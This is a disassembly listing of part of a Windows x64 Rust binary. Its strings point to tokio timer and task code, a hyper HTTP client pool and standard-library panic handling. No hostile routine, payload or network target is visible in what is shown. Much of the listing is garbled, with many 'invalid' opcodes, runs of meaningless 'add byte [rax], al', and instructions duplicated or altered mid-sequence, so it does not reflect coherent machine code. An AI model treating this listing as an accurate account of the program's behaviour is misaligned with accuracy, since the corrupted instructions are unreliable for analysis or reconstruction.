pmovmskb eax, xmm3
test eax, eax
mov r11, rdx
jne 0x14006f2a5
pcmpeqb xmm2, xmm1
pmovmskb eax, xmm2
test eax, eax
jne 0x14006f972
add rbp, rdx
add rbp, 0x10
add rdx, 0x10
and rbp, r10
jmp 0x14006f244
mov eax, dword [rsp + 0x38]
cmp eax, 1
je 0x14006f2f0
test eax, eax
je 0x14006fc7f
lea eax, [r14 - 1]
and eax, r14d
test ax, ax
mov r10, qword [rsp + 0x68]
mov rdx, r11
je 0x14006f25c
mov r14d, eax
tzcnt eax, r14d
add rax, rbp
and rax, r10
neg rax
lea rax, [rax + rax*8]
lea rdi, [rcx + rax*8]
movzx eax, byte [rcx + rax*8 - 0x48]
cmp eax, 1
je 0x14006f280
cmp eax, 2
jne 0x14006fc7f
cmp byte [rsp + 0x60], 2
je 0x14006f300
cmp dword [rsp + 0x38], 0
jne 0x14006f291
jmp 0x14006fc7f
cmp byte [rdi - 0x47], 0
je 0x14006f36f
cmp byte [rsp + 0x50], 0
jne 0x14006f37a
jmp 0x14006f291
mov rax, qword [rdi - 0x40]
mov rsi, qword [rax + 0x10]
mov rdx, qword [rsp + 0x58]
cmp rsi, qword [rdx + 0x10]
jne 0x14006f291
mov r12, qword [rax + 8]
mov rax, qword [rsp + 0x58]
mov rax, qword [rax + 8]
xor r10d, r10d
nop word [rax + rax]
cmp rsi, r10
je 0x14006f37a
movzx ebx, byte [r12 + r10]
movzx r8d, byte [rax + r10]
inc r10
lea r9d, [rbx - 0x41]
cmp r9b, 0x1a
setb r9b
shl r9b, 5
lea edx, [r8 - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or r9b, bl
or dl, r8b
cmp r9b, dl
je 0x14006f330
jmp 0x14006f291
cmp byte [rsp + 0x50], 0
jne 0x14006f291
cmp qword [rdi - 0x28], r13
jne 0x14006f291
mov rax, qword [rdi - 0x30]
xor r10d, r10d
nop dword [rax + rax]
cmp r13, r10
je 0x14006f3d0
movzx edx, byte [rax + r10]
movzx r8d, byte [r15 + r10]
inc r10
lea r9d, [rdx - 0x41]
cmp r9b, 0x1a
setb r9b
shl r9b, 5
lea esi, [r8 - 0x41]
cmp sil, 0x1a
setb bl
shl bl, 5
or r9b, dl
or bl, r8b
cmp r9b, bl
je 0x14006f390
jmp 0x14006f291
movups xmm0, xmmword [rsp + 0x80]
movups xmm1, xmmword [rsp + 0x90]
movups xmm2, xmmword [rsp + 0xa0]
adc byte [rsp + 0xa0], dl
adc byte [rsp + 0xa0], dl
movaps xmmword [rsp + 0x160], xmm2
movaps xmmword [rsp + 0x150], xmm1
movaps xmmword [rsp + 0x140], xmm0
movaps xmmword [rsp + 0x80], xmm0
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
sub dword [rsp + 0x90], ecx
sub dword [rsp + 0x90], ecx
mov qword [rsp + 0xb0], rdi
mov rax, qword [rsp + 0x78]
mov eax, dword [rsp + 0x78]
add byte [rax - 0x75], cl
and al, 0x78
mov eax, dword [rsp + 0x78]
mov qword [rsp + 0xb8], rax
add byte [rax], al
movzx eax, byte [rsp + 0x80]
cmp al, 3
mov rbx, qword [rsp + 0x28]
mov r15, qword [rsp + 0x70]
je 0x14006f496
cmp al, 2
jb 0x14006f473
mov r14, qword [rsp + 0x88]
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0xa8]
mov rax, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
call qword [rax + 0x10]
push rax
invalid
push rax
adc byte [rcx - 0x75], cl
xchg dword [rax + 0x48000000], esp
cmp eax, dword [rdi - 8]
mov rax, qword [r15 + 0xa0]
cmp rax, qword [rdi - 8]
jbe 0x14006fa98
add eax, 0x8b480000
test byte [rax + rax*8], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x190], al
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0xb0], rax
movaps xmm0, xmmword [rsp + 0x190]
movaps xmm1, xmmword [rsp + 0x1a0]
movaps xmm2, xmmword [rsp + 0x1b0]
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
call fcn.1400dfa40
mov r14, rax
mov ebp, edx
mov rsi, qword [rdi - 8]
cmp rsi, qword [rdi - 0x18]
jne 0x14006f504
lea rcx, [rdi - 0x18]
call fcn.14001f100
mov rax, qword [rdi - 0x10]
lea rcx, [rsi + rsi*8]
mov rdx, qword [rsp + 0xb0]
mov qword [rax + rcx*8 + 0x30], rdx
movdqa xmm0, xmmword [rsp + 0x80]
movdqa xmm1, xmmword [rsp + 0x90]
movdqa xmm2, xmmword [rsp + 0xa0]
movdqu xmmword [rax + rcx*8 + 0x20], xmm2
movdqu xmmword [rax + rcx*8 + 0x10], xmm1
movdqu xmmword [rax + rcx*8], xmm0
mov qword [rax + rcx*8 + 0x38], r14
mov dword [rax + rcx*8 + 0x40], ebp
inc rsi
mov qword [rdi - 8], rsi
cmp qword [r15 + 0xa8], 0
jne 0x14006faa5
mov esi, dword [r15 + 0xb8]
cmp esi, 0x3b9aca00
je 0x14006faa5
mov r12, qword [r15 + 0xb0]
movzx eax, byte [0x140182310]
mov edx, 0x48
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14006fcdd
mov r14, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov byte [rax + 0x20], 0
mov qword [rax + 0x28], 0
mov byte [rax + 0x38], 0
mov word [rax + 0x40], 0
lock inc qword [rax]
jle 0x14006fc97
mov qword [r15 + 0xa8], r14
test r12, r12
jne 0x14006f5e7
test esi, esi
je 0x14006fcec
call fcn.1400dfa40
mov r8d, edx
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_timeinterval.rs
lea rcx, [rsp + 0x80]
mov rdx, rax
call 0x1400f41d0
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14006fd34
mov r15, rax
movups xmm0, xmmword [rsp + 0xe0]
movups xmmword [rax + 0x60], xmm0
movups xmm0, xmmword [rsp + 0xd0]
movups xmmword [rax + 0x50], xmm0
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rax + 0x40], xmm0
movdqu xmm0, xmmword [rsp + 0x80]
movdqu xmm1, xmmword [rsp + 0x90]
movdqu xmm2, xmmword [rsp + 0xa0]
movdqu xmm3, xmmword [rsp + 0xb0]
movdqu xmmword [rax + 0x30], xmm3
movdqu xmmword [rax + 0x20], xmm2
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov rax, qword [rsp + 0x180]
mov r13, qword [rax]
jmp 0x14006f68f
pause
mov rax, qword [r13 + 8]
nop word cs:[rax + rax]
cmp rax, 0xffffffffffffffff
je 0x14006f68d
test rax, rax
js 0x14006fc99
lea rcx, [rax + 1]
lock cmpxchg qword [r13 + 8], rcx
jne 0x14006f6a0
mov rax, qword [rsp + 0x70]
mov rbx, qword [rax]
test rbx, rbx
je 0x14006f733
mov rdi, qword [rax + 8]
mov rbp, qword [rdi + 0x10]
movzx eax, byte [0x140182310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14006fd43
dec rbp
and rbp, 0xfffffffffffffff0
lea rcx, [rbx + rbp]
add rcx, 0x10
mov qword [rax], r12
mov dword [rax + 8], esi
mov qword [rax + 0x10], r15
mov byte [rax + 0x18], 0
mov edx, dword [rsp + 0x49]
mov r8d, dword [rsp + 0x4c]
mov dword [rax + 0x19], edx
mov dword [rax + 0x1c], r8d
mov qword [rax + 0x20], r14
mov qword [rax + 0x28], r13
lea r8, fcn.14006fde0
mov rdx, rax
call qword [rdi + 0x18]
jmp 0x14006f078
mov eax, 1
lock xadd qword [0x140182050], rax
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x80], r12
mov dword [rsp + 0x88], esi
mov qword [rsp + 0x90], r15
mov byte [rsp + 0x98], 0
mov eax, dword [rsp + 0x49]
mov ecx, dword [rsp + 0x4c]
mov dword [rsp + 0x99], eax
mov dword [rsp + 0x9c], ecx
mov qword [rsp + 0xa0], r14
mov qword [rsp + 0xa8], r13
lea rax, [rsp + 0x140]
mov qword [rsp + 0xb0], rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006f7f2
test eax, eax
jne 0x14006fdb1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x14006fd52
inc rax
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rdx, qword [0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
mov rax, qword [rcx + 0xd8]
cmp rax, 2
je 0x14006fd5e
mov rbp, qword [rsp + 0x140]
test rax, rax
je 0x14006fafa
invalid
pushfq
add al, byte [rax]
invalid
test byte [rdx + rax + 0x58b0000], bl
mov al, 0x2a
adc dword [rax], eax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rbx, qword [rax + 0xe0]
cwde
loopne 0x14006f876
add byte [rax], al
lock inc qword [rbx]
jle 0x14006fc97
movzx eax, byte [0x140182310]
mov edx, 0x100
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14006fda2
mov rdx, rax
and rdx, 0xffffffffffffff80
lea rdi, [rdx + 0x80]
mov qword [rdx + 0x78], rax
lea rcx, [rbx + 0x68]
mov qword [rdx + 0x80], 0xcc
mov qword [rdx + 0x88], 0
lea rax, str.0_n_a_
mov qword [rdx + 0x90], rax
mov qword [rdx + 0x98], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
movabs al, byte [0xa8aa8948000000]
stosb byte [rdi], al
test al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
stosb byte [rdi], al
test al, 0
add byte [rax], al
mov qword [rdx + 0xb0], r12
mov dword [rdx + 0xb8], esi
mov qword [rdx + 0xc0], r15
mov byte [rdx + 0xc8], 0
mov eax, dword [rsp + 0x49]
mov r8d, dword [rsp + 0x4c]
mov dword [rdx + 0xc9], eax
mov dword [rdx + 0xcc], r8d
mov qword [rdx + 0xd0], r14
mov qword [rdx + 0xd8], r13
pxor xmm0, xmm0
movdqa xmmword [rdx + 0xe0], xmm0
mov qword [rdx + 0xf0], 0
mov rdx, rdi
mov r8, rdi
call fcn.1400654c0
test rax, rax
je 0x14006fc16
add rbx, 0x10
mov rcx, rbx
mov rdx, rax
xor r8d, r8d
call fcn.1400ec5d0
jmp 0x14006fc16
mov r15, qword [rsp + 0x70]
cmp qword [r15 + 0x50], 0
mov rsi, qword [rsp + 0x178]
je 0x14006fc59
movups xmm0, xmmword [rsp + 0x80]
movdqu xmm1, xmmword [rsp + 0x90]
movdqu xmm2, xmmword [rsp + 0xa0]
movdqa xmmword [rsp + 0x160], xmm2
movdqa xmmword [rsp + 0x150], xmm1
movaps xmmword [rsp + 0x140], xmm0
movdqu xmm0, xmmword [rcx + rsi]
pmovmskb eax, xmm0
test eax, eax
mov rbx, qword [rsp + 0x28]
jne 0x14006f9ed
mov r9d, 0x10
add rsi, r9
and rsi, r10
movdqu xmm0, xmmword [rcx + rsi]
pmovmskb eax, xmm0
add r9, 0x10
test eax, eax
je 0x14006f9d6
tzcnt eax, eax
add rax, rsi
and rax, r10
movzx r8d, byte [rcx + rax]
test r8b, r8b
js 0x14006fa12
movdqa xmm0, xmmword [rcx]
pmovmskb eax, xmm0
tzcnt eax, eax
movzx r8d, byte [rcx + rax]
lea rdx, [rax - 0x10]
and rdx, r10
mov r9, qword [rsp + 0x138]
mov byte [rcx + rax], r9b
mov byte [rcx + rdx + 0x10], r9b
neg rax
lea rax, [rax + rax*8]
lea rdi, [rcx + rax*8]
and r8b, 1
movzx edx, r8b
sub qword [r15 + 0x50], rdx
movaps xmm0, xmmword [rsp + 0x140]
movaps xmm1, xmmword [rsp + 0x150]
movaps xmm2, xmmword [rsp + 0x160]
movups xmmword [rcx + rax*8 - 0x28], xmm2
movups xmmword [rcx + rax*8 - 0x38], xmm1
movups xmmword [rcx + rax*8 - 0x48], xmm0
mov qword [rcx + rax*8 - 0x18], 0
mov qword [rcx + rax*8 - 0x10], 8
mov qword [rcx + rax*8 - 8], 0
inc qword [r15 + 0x58]
mov rax, qword [r15 + 0xa0]
cmp rax, qword [rdi - 8]
ja 0x14006f4a7
lea rcx, [rsp + 0x190]
call fcn.140066be0
cmp byte [rbx], 2
jb 0x14006fad2
mov rdi, qword [rbx + 8]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbx + 0x28]
mov rax, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
call qword [rax + 0x10]
nop
add rsp, 0x1c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle 0x14006fc97
movzx eax, byte [0x140182310]
mov edx, 0x100
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14006fda2
mov rcx, rax
and rcx, 0xffffffffffffff80
lea rdi, [rcx + 0x80]
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
mov qword [rcx + 0x88], 0
lea rax, [0x140140b98]
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], 0
mov qword [rcx + 0xa0], rbx
add rbx, 0x58
mov qword [rcx + 0xa8], rbp
mov qword [rcx + 0xb0], r12
mov dword [rcx + 0xb8], esi
mov qword [rcx + 0xc0], r15
mov byte [rcx + 0xc8], 0
mov eax, dword [rsp + 0x49]
mov edx, dword [rsp + 0x4c]
mov dword [rcx + 0xc9], eax
mov dword [rcx + 0xcc], edx
mov qword [rcx + 0xd0], r14
mov qword [rcx + 0xd8], r13
pxor xmm0, xmm0
movdqa xmmword [rcx + 0xe0], xmm0
mov qword [rcx + 0xf0], 0
mov rcx, rbx
mov rdx, rdi
mov r8, rdi
call fcn.1400654c0
test rax, rax
je 0x14006fc16
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xe0]
mov rdx, rax
call fcn.1400eabe0
mov rbx, qword [rsp + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
mov ecx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rdi], rcx
je 0x14006faa5
mov rax, qword [rdi + 0x10]
mov rcx, rdi
call qword [rax + 0x20]
jmp 0x14006faa5
lea rdx, [r15 + 0x60]
mov rcx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x170]
call fcn.14010db70
mov rcx, qword [r15 + 0x40]
mov r10, qword [r15 + 0x48]
and rsi, r10
jmp 0x14006f98a
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rs
mov edx, 0x28
call fcn.140108350
ud2
call fcn.14010e270
lea rcx, str.value_already_sent
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov edx, 0x12
call fcn.1401086b0
lea rcx, str.assertion_failed:_slot.is_none__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srconeshot.rs
lea r8, [0x14013d5a8]
mov edx, 0x20
call fcn.140108350
mov ecx, 8
mov edx, 0x20
call fcn.140107fe0
mov ecx, 8
mov edx, 0x48
call fcn.140107fe0
lea rax, [0x14014e9a8]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
mov qword [rsp + 0x90], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x98], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
lea rcx, [rsp + 0x80]
call fcn.140108280
mov ecx, 8
mov edx, 0x70
call fcn.140107fe0
mov ecx, 8
mov edx, 0x30
call fcn.140107fe0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.1401085a0
lea rcx, [rsp + 0x80]
call fcn.14006fde0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
xor eax, eax
mov byte [rsp + 0x80], al
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0x80]
call fcn.14010da80
mov ecx, 0x80
mov edx, 0x80
call fcn.140107fe0
lea rcx, [rsp + 0x80]
call fcn.14006fde0
mov al, 1
mov byte [rsp + 0x80], al
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0x80]
call fcn.14010da80
int3
xor eax, eax
xchg byte [r15], al
cmp al, 2
jne 0x14007090f
add rsp, 0x138
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.140110270
test al, al
jne 0x1400708fd
mov byte [r12 + 0x11], 1
jmp 0x1400708fd
in al, 0xe0
or eax, 0x7edfe800
or dword [rax], eax
call fcn.14010db50
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401499d0]
mov edx, 0x28
call fcn.1401086b0
lea rcx, [0x14014c778]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timeentry.rs
mov edx, 0x73
call fcn.1401086b0
lea rcx, str.interval_assumes_timeouth
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov edx, 0x18
call fcn.1401086b0
lea rcx, str.overflow_when_subtracting_duration_from_instant
lea r8, [0x140149a18]
pop rsp
nop
or eax, 0x2fba00
add byte [rax], al
pop rsp
nop
or eax, 0x2fba00
add byte [rax], al
call fcn.1401086b0
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_timeinterval.rs
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rcx, str.too_much_time_has_elapsed_since_the_interval_was_supposed_to_tick
lea r9, [0x14014b960]
lea r8, [rsp + 0x48]
mov edx, 0x41
call fcn.140108600
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], 8
pop rax
or byte [rax], al
add byte [rax], al
pop rax
or byte [rax], al
add byte [rax], al
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
lea rdx, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_time.rs_
lea edx, [0x1401487a8]
lea edx, [0x1401487a8]
lea rcx, [rsp + 0x48]
call fcn.140108280
int3
test al, 0
add byte [rax], al
movaps xmmword [rsp + 0x90], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x140070a6a
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x140070a95
test al, 4
je 0x140070ce4
test al, 3
je 0x140070a50
cmp rax, 0x3f
jbe 0x140070cfc
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
add dh, al
cmpxchg qword [rsi], rcx
add dh, al
cmpxchg qword [rsi], rcx
jne 0x140070a6a
movzx eax, dl
lea rcx, [0x140177a9c]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add al, 0x81
add rax, rcx
jmp rax
lea rax, [0x14014e140]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rsi
mov dword [rsp + 0x68], esi
mov dword [rsp + 0x68], esi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x78], eax
mov qword [rsp + 0x80], 0
add byte [rax], al
mov eax, dword [rsi + 0x38]
and eax, 0xfffffffe
loopne case.0x1400dc119.95
loopne case.0x1400dc119.95
cmp eax, 0x3b9aca00
je 0x140070d14
cmp ecx, dword [rdi]
test byte [rdi], ch
add al, byte [rax]
add byte [rax - 0x73], cl
lea ecx, [rsi + 0x30]
invalid
invalid
lea rcx, [rsi + 0x30]
lea ecx, [rsi + 0x30]
xor byte [rax - 0x75], cl
mov rdi, qword [rsi + 0x28]
jle case.0x14005cd83.65
sub byte [rbx + 0x11182105], cl
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
add byte [rbx + 0x3e7401f8], al
add byte [rbx + 0x3e7401f8], al
xorps xmm6, xmm6
test eax, eax
jne 0x140070b76
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
sti
invalid
lea rdx, [0x1400e42d0]
mov rbx, rcx
mov rcx, rax
call fcn.1400d4a00
mov rcx, rbx
mov byte [r14 + 0x120], 1
add byte [rax], al
invalid
add byte [rax], al
add dword [rbx + 0x1117c405], ecx
invalid
invalid
adc dword [rax], eax
mov rdx, qword gs:[0x58]
add byte [rax], al
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
invalid
add byte [rax], al
mov rax, qword [rdx + rax*8]
mov eax, dword [rdx + rax*8]
add al, 0xc2
ret 0x100f
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rdi
clc
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x70
lea rdx, [rsp + 0x70]
call fcn.14006fee0
mov ecx, dword [0x140182314]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
invalid
dec dword [rbx + 0x11178e0d]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
invalid
je 0x140070bd4
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
invalid
je 0x140070bd4
add dword [rbp + rsi - 0x7b], esi
leave
test ecx, ecx
jne 0x140070bee
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rdx, qword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
mov rdi, qword [rdx + rcx*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7370c
mov ebx, eax
ret
call fcn.1400d4a00
mov eax, ebx
fadd st(6)
xchg dword [rax], esp
and byte [rcx], al
add byte [rax], al
invalid
add byte [rcx + 0x2087c6d8], cl
fadd st(6)
xchg dword [rax], esp
invalid
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0x11173a0d], ecx
cmp dl, byte [rdi]
adc dword [rax], eax
invalid
invalid
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x140182314]
cmp dl, byte [rdi]
adc dword [rax], eax
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
invalid
mov rcx, qword [rdx + rcx*8]
retf 0x110f
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
test al, al
je 0x140070c8c
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rsi
int1
call fcn.1400e6d10
movzx eax, al
lea rcx, [0x140177aac]
adc byte [rax], al
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
add rcx, 0x10
mov rdx, rsi
mov r8b, 1
mov r8b, 1
call fcn.1400ec5d0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140070d4c
add byte [rax], al
add byte [rax], al
and rax, 0xffffffffffffffc0
and eax, 0xffffffc0
cmp rax, 0x40
jne case.0x140070aa6.2
add byte [rax], al
add byte [rax], al
mov rcx, rsi
call 0x140071080
jmp case.0x140070aa6.2
lea rdi, [rsi + 0x20]
mov dword [rsp + 0x38], 0x3b9aca01
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140071140
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0
and al, 0x48
add byte [rax], al
add byte [rax], al
retf 0x3b9a
and al, 0x48
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x58], rax
jmp 0x140070cb2
mov dword [rsp + 0x38], 0x3b9aca01
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140071140
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 0
cmp byte [rcx], al
retf 0x3b9a
mov dword [rsp + 0x38], 0x3b9aca00
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140071140
mov rcx, rsi
call fcn.1400712e0
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ddc8]
mov edx, 0x24
call fcn.140108350
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014e128]
mov edx, 0x26
call fcn.140108350
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.140108280
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x140070f2c
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x140070f0d
add rsp, 0x50
pop rsi
jmp 0x140071080
nop
add rsp, 0x50
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x14007109d
lea rcx, [rsi + 0x20]
call fcn.1400687d0
mov ecx, dword [rsi + 0x38]
mov edx, ecx
and edx, 0xfffffffe
add ecx, 0xc4653601
xor eax, eax
cmp edx, 0x3b9aca00
cmove eax, ecx
cmp eax, 1
je 0x1400710ca
test eax, eax
jne 0x140071107
lea rcx, [rsi + 0x30]
call fcn.14006fde0
jmp 0x140071107
cmp qword [rsi + 0x40], 0
je 0x140071107
mov rdi, qword [rsi + 0x48]
test rdi, rdi
je 0x140071107
mov rbx, qword [rsi + 0x50]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140071107
cmp qword [rbx + 0x10], 0x11
jb 0x1400710f5
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x70]
test rax, rax
test eax, eax
test eax, eax
je 0x140071117
mov rcx, qword [rsi + 0x78]
call qword [rax + 0x18]
